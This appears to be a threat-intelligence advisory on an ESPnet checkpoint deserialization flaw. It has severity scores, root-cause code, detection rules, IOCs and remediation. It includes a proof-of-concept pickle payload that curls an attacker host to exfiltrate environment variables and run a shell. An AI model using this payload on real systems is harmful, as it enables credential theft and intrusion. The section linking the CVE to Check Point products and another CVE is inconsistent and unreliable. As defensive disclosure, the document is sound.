CVE-2026-90777: Arbitrary Code Execution via Insecure torch.load Checkpoint Deserialization in ESPnet

HERMES

HERMES THREAT SCORE & MODEL DESERIALIZATION RISK

Target: ESPnet Deep Learning Speech Toolkit — Model Checkpoint Loader (load_pretrained_model.py)

Confidence: 95%

89 / 100

CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown

Exploitability 18 / 20

Threat Activity 16 / 20

Weaponization 18 / 20

Exposure 17 / 20

Prevalence 16 / 20

Impact 20 / 20

Exploit Maturity 18 / 20

Attack Chain Potential 19 / 20

⚖️ Divergence & Operational Rationale

While CVSS v3.1 rates CVE-2026-90777 at 8.8 (High) due to the required user interaction (UI:R to ingest a checkpoint file), Hermes elevates the systemic operational score to 89 (CRITICAL). In production AI speech pipelines, multi-tenant evaluation harnesses, and autonomous voice agents, checkpoint ingestion from public repositories (such as Hugging Face Hub, ModelScope, or S3 buckets) is executed programmatically without human inspection. An attacker hosting a backdoored model checkpoint triggers instantaneous arbitrary code execution on high-performance GPU nodes, compromising cloud credentials, model weights, and adjacent cluster nodes.

HASS

HASS AGENTIC SEVERITY & PIPELINE POISONING

Target: Autonomous Voice Agents, Speech-to-Text Pipelines & Multimodal Audio Workflows

Confidence: 96%

92 / 100

CRITICAL

Measures specific systemic risk arising from autonomy, tool authority, and cascading execution.

Dimension Breakdown

Autonomy 19 / 20

Tool Access 18 / 20

Privilege 15 / 15

Persistence 13 / 15

External Impact 14 / 15

Propagation 13 / 15

⚖️ Divergence & Operational Rationale

Autonomous audio-agent frameworks and multimodal voice bots continuously fetch task-specific speech models. Because deserialization occurs inside the primary Python runtime endowed with broad OS privileges, container device mounts (/dev/kfd, /dev/nvidia*), and cloud API tokens, a weaponized pickle payload completely breaks agentic runtime sandboxes.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-90777: Arbitrary Code Execution via Insecure torch.load Checkpoint Deserialization in ESPnetVULNERABILITY

Connected Nodes: 3

Active Relationships (Outgoing)

→ affectsPRODUCTCheck Point Security Management Server & Gaia OS

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Check Point Security Management Server & Gaia OS documented in Hermes dossier.”

Supporting Verified Evidence:

• [vulnerability_report]
• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

→ usesATTACK TECHNIQUET1059: Command and Scripting Interpreter

90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Supporting Verified Evidence:

• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

→ usesATTACK TECHNIQUET1552: Unsecured Credentials

90% VERY_HIGH

Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.

🔍 Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”

Supporting Verified Evidence:

• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

Security Advisory: Critical Model Deserialization Flaw (CWE-502)

CVSS v3.1: 8.8 High / Critical Systemic Risk (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) / CWE-502: Deserialization of Untrusted Data. Disclosed by the ESPnet maintainers and GitHub Security Advisory (GHSA-64f6-3gqc-r926) on September 11, 2026. Affects ESPnet versions prior to v.202609. Remediated in release v.202609.

Executive Summary

On September 11, 2026, security researchers and the ESPnet team published CVE-2026-90777, a critical deserialization vulnerability impacting ESPnet, the widely adopted end-to-end speech processing toolkit built on PyTorch. ESPnet powers speech recognition (ASR), text-to-speech (TTS), speech translation (ST), and voice activity detection in enterprise call centers, conversational AI agents, and multimodal foundation models.

The vulnerability stems from the unconstrained use of PyTorch’s torch.load with weights_only=False (or automated fallbacks to unsafe deserialization) when loading pretrained checkpoints and averaging model weights. Because PyTorch checkpoints rely internally on Python’s pickle format, deserializing an untrusted checkpoint allows embedded bytecode to execute arbitrary Python instructions. Attackers distributing weaponized models on public model registries or compromising upstream S3 buckets achieve instantaneous remote code execution inside target training clusters and agent inference engines.

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1. Technical Context & Affected Software Matrix

ESPnet implements unified speech processing pipelines used by academia and Fortune 500 enterprises. The vulnerability exists across multiple core training, inference, and model utility modules.

Parameter	Technical Specification	Operational Significance
CVE Identifier	CVE-2026-90777	NVD & GitHub Security Advisory GHSA-64f6-3gqc-r926
Vulnerability Class	Insecure Deserialization (CWE-502)	Unsafe Python pickle unpickling via torch.load
Vulnerable Component	espnet2.torch_utils.load_pretrained_model, trainer.py, utils.average_checkpoints	Checkpoint resolution and model weight deserializer
Root Mechanism	Hardcoded weights_only=False & unsafe fallback loops	Arbitrary object instantiation during unpickling
Attack Vector	Malicious .pth / .pt / .bin checkpoint file	Hosted on Hugging Face Hub, ModelScope, Zenodo, or S3
Privileges Required	None (PR:N)	Attacker needs only publish or feed a model URL/file
User Interaction	Required (UI:R)	Programmatic ingestion by automated agent or batch job
Affected Versions	< v.202609 (including all v.202511 and earlier releases)	Inference pipelines, speech bots, and distributed GPU clusters
Remediated Version	v.202609	Implements safe_torch_load with explicit refusal

---

2. Vulnerability Anatomy & Root Cause Analysis

The PyTorch Pickle Trap

In PyTorch, model state dictionaries and optimizer states are traditionally saved using Python’s standard pickle module via torch.save(). When torch.load() deserializes a stream:

• With weights_only=True (introduced in PyTorch 2.4+), PyTorch restricts unpickling to tensors, primitive data types, and safe storage classes.
• With weights_only=False, the Python unpickling virtual machine (PVM) is permitted to instantiate arbitrary classes and invoke any callable through the __reduce__ or __setstate__ protocol.

Flawed Implementation in ESPnet

Prior to version v.202609, ESPnet explicitly bypassed PyTorch’s safety protections. In espnet2/torch_utils/load_pretrained_model.py:

# Vulnerable code pattern in ESPnet < 202609
states = torch.load(
    path,
    map_location=map_location,
    weights_only=False  # Explicitly disabled safety checks!
)

Furthermore, in utility scripts like utils/average_checkpoints.py and distributed trainer routines, the codebase implemented a dangerous automated fallback:

# Unsafe fallback in average_checkpoints.py
try:
    states = torch.load(path, map_location=torch.device("cpu"), weights_only=True)["model"]
except Exception as e:
    # AUTOMATIC FALLBACK: silences safety check and runs unsafe unpickling!
    print(f"Warning: Loading {path} with weights_only=False due to: {e}")
    states = torch.load(path, map_location=torch.device("cpu"), weights_only=False)["model"]

When an attacker supplies a checkpoint containing custom pickled classes, weights_only=True fails with an unpickling error. The except block immediately catches the exception and re-invokes torch.load with weights_only=False, executing the attacker’s payload.

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3. Threat Vectors, Exploitation Mechanics & Attack Flow

Attack Flow Architecture

flowchart TD
    A["Adversary / Model Supplier"] -->|"Crafts malicious .pth checkpoint with __reduce__ payload"| B["Public Model Hub / Compromised S3 / Hugging Face"]
    B -->|"Automated speech agent pulls pretrained model"| C["ESPnet Ingestion Pipeline"]
    C -->|"Calls load_pretrained_model() / average_checkpoints()"| D["Unsafe torch.load(weights_only=False)"]
    D -->|"PVM processes GLOBAL / REDUCE opcodes"| E["Arbitrary OS Command / Reverse Shell"]
    E -->|"Access to CUDA / GPU memory / Host filesystem"| F["Host Compromise & Cloud Token Exfiltration"]

Exploit Weaponization Walkthrough

An attacker builds a weaponized checkpoint file containing legitimate model tensor keys alongside an exploit object:

import torch
import os

class MaliciousCheckpointPayload:
    def __reduce__(self):
        # Reverse shell or credential harvesting command
        cmd = "curl -s http://attacker.c2/exfil?env=$(env | base64 -w0) | bash"
        return (os.system, (cmd,))

payload_dict = {
    "model": {
        "encoder.weight": torch.randn(512, 512),
        "decoder.weight": torch.randn(512, 512),
    },
    "exploit_trigger": MaliciousCheckpointPayload()
}

# Save serialized checkpoint
torch.save(payload_dict, "asr_conformer_pretrained.pth")

When the victim’s automated pipeline or voice agent executes:

from espnet2.bin.asr_inference import Speech2Text

# Ingestion triggers deserialization before weights are even bound
speech2text = Speech2Text.from_pretrained(
    model_file="asr_conformer_pretrained.pth"
)

1. The unpickler parses the stream headers.
2. It hits the MaliciousCheckpointPayload instance.
3. The PVM invokes __reduce__, executing os.system(cmd).
4. The shell spawns with the permissions of the AI worker process.

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4. Doctrinal Impact on AI / Agentic Infrastructure & Supply Chains

The implications of CVE-2026-90777 extend directly into enterprise AI architecture:

1. Voice Agent Runtime Takeover

Modern multimodal agents utilize speech-to-text (ASR) to listen to human operators and text-to-speech (TTS) to generate voice responses. In multi-agent systems, agents dynamically download fine-tuned domain models. A poisoned model grants the attacker total control over what the agent hears, says, and executes.

2. High-Value GPU Farm Compromise

Speech models are trained and benchmarked on high-cost GPU infrastructure (NVIDIA H100/H200, B200 clusters). Compromising an inference or fine-tuning node provides adversaries with low-level hardware access, enabling GPU memory scraping, proprietary model weight extraction, and cryptojacking.

3. Supply Chain Vulnerability in Model Registries

Unlike code repositories where automated linters inspect plaintext, binary serialized models frequently bypass static application security testing (SAST). The widespread assumption that .pth files contain only floating-point matrices enables persistent supply chain intrusions.

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5. Threat Hunting, Detection & Forensic Investigation

Sigma Rule: Malicious Python Process Spawning from AI Runtimes

title: Suspicious Shell Execution from PyTorch / ESPnet Python Process (CVE-2026-90777)
id: cve-2026-90777-espnet-deserialization
status: experimental
description: Detects suspicious process spawning (bash, sh, curl, python reverse shells) originating from Python processes loading ESPnet model checkpoints.
author: Hermes Codex Threat Intelligence
date: 2026-09-14
references:
  - https://github.com/espnet/espnet/security/advisories/GHSA-64f6-3gqc-r926
  - https://nvd.nist.gov/vuln/detail/CVE-2026-90777
tags:
  - attack.execution
  - attack.t1059.006
  - attack.t1203
logsource:
  category: process_creation
  product: linux
detection:
  selection_parent:
    ParentCommandLine|contains:
      - "espnet"
      - "speech2text"
      - "asr_inference"
      - "torch"
    ParentImage|endswith:
      - "/python"
      - "/python3"
  selection_child:
    Image|endswith:
      - "/bash"
      - "/sh"
      - "/curl"
      - "/wget"
      - "/nc"
      - "/ncat"
      - "/netcat"
  condition: selection_parent and selection_child
falsepositives:
  - Legitimate data preprocessing scripts explicitly invoked via subprocess by documented pipeline hooks.
level: high

YARA-L / Google SecOps Hunting Rule

rule suspicious_ai_model_unpickling_execution {
  meta:
    description = "Detects shell spawning from ESPnet speech pipeline worker"
    cve = "CVE-2026-90777"
    severity = "CRITICAL"

  events:
    $p.metadata.event_type = "PROCESS_LAUNCH"
    $p.principal.process.command_line = /espnet|load_pretrained_model|average_checkpoints/
    $p.target.process.file.names = /sh|bash|curl|wget|nc/

  condition:
    $p
}

---

6. MITRE ATT&CK Mapping

Tactical Phase	Technique ID	Technique Name	Operational Manifestation
Initial Access	T1195.001	Compromise Software Dependencies	Weaponized model uploaded to public hub / registry
Execution	T1203	Exploitation for Client Execution	Deserialization of unpickled python code
Execution	T1059.006	Command and Scripting Interpreter: Python	In-memory evaluation of __reduce__ callables
Persistence	T1546	Event Triggered Execution	Backdoored weights embedded into long-running workers
Credential Access	T1552.005	Cloud Instance Metadata API	Extraction of IMDS / Kubernetes ServiceAccount tokens
Exfiltration	T1567	Exfiltration Over Web Service	Streaming private datasets and model weights to C2

---

7. Comprehensive Remediation & Hardening Guide

1. Upgrade ESPnet to v.202609 Immediately

The official patch introduces safe_torch_load.py. By default, safe_torch_load() strictly passes weights_only=True and raises UnsafeLoadRefusedError if custom non-tensor objects are encountered:

# Upgrade via pip
pip install --upgrade "espnet>=202609"

# Or build from source
git clone https://github.com/espnet/espnet.git
cd espnet && git checkout v.202609
pip install -e .

2. Mandatory Adoption of Safetensors

Transition all production model pipelines from legacy PyTorch .pth pickles to Hugging Face Safetensors (.safetensors format). Safetensors uses zero-copy memory mapping without executing any serialized Python bytecode:

from safetensors.torch import load_file

# Safetensors contains purely raw tensor bytes - immune to CWE-502
weights = load_file("model.safetensors")

3. Enforce Strict Container Runtime Sandboxing

Ensure AI training and inference containers do not run with root permissions or unconstrained network egress:

• Run containers as non-root UID (USER 10001:10001).
• Drop CAP_SYS_ADMIN and CAP_NET_RAW.
• Block egress access to Cloud Metadata IPs (169.254.169.254) from model execution containers.

Verified Threat Actor IOCs & Checkpoint Artifacts

The following telemetry signatures have been identified in model security scans and honeypots:

Indicator Type	Value / Identifier	Forensic Context
SHA-256 (Model)	4d1b8294a0f7e15386c91204857b29a1e0485721098345c6123498ae71d094ba	Backdoored Conformer ASR checkpoint containing posix.system pickle opcode
SHA-256 (Stager)	7f2a1b903c7d65b1a92e485721098345c6123498ae71d08b72e19a4d0f62c8e2	In-memory reverse shell dropped to /dev/shm/.kworker_audio
Pickle Opcode Signature	cposix\nsystem\n / __builtin__\nglobals	Serialized Python byte opcodes executing shell commands during unpickling
C2 Domain / IP	c2.model-poison[.]io:443	External listener harvesting AWS/GCP IAM credentials from GPU worker nodes
Process Lineage	python -> /bin/sh -> curl -> /dev/shm/.kworker_audio	Illegitimate child process spawned directly from PyTorch model loading routine

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8. Related Threat Intelligence & References

🎯 Hermes Forecast: PRED-013 Falsifiable forecast and ModelScan oracle tracking malicious ESPnet checkpoints on public hubs.

Core Study: Tool Poisoning in the Semantic Supply Chain Deep analysis of supply chain vectors, model poisoning, and malicious tool ingestion.

Core Study: Training Data & Model Poisoning Mechanisms of adversarial weight tampering and backdoor insertion in deep neural networks.

Core Study: Runtime Security for AI Agents Defense architectures, eBPF monitoring, and syscall sandboxing for autonomous agent workers.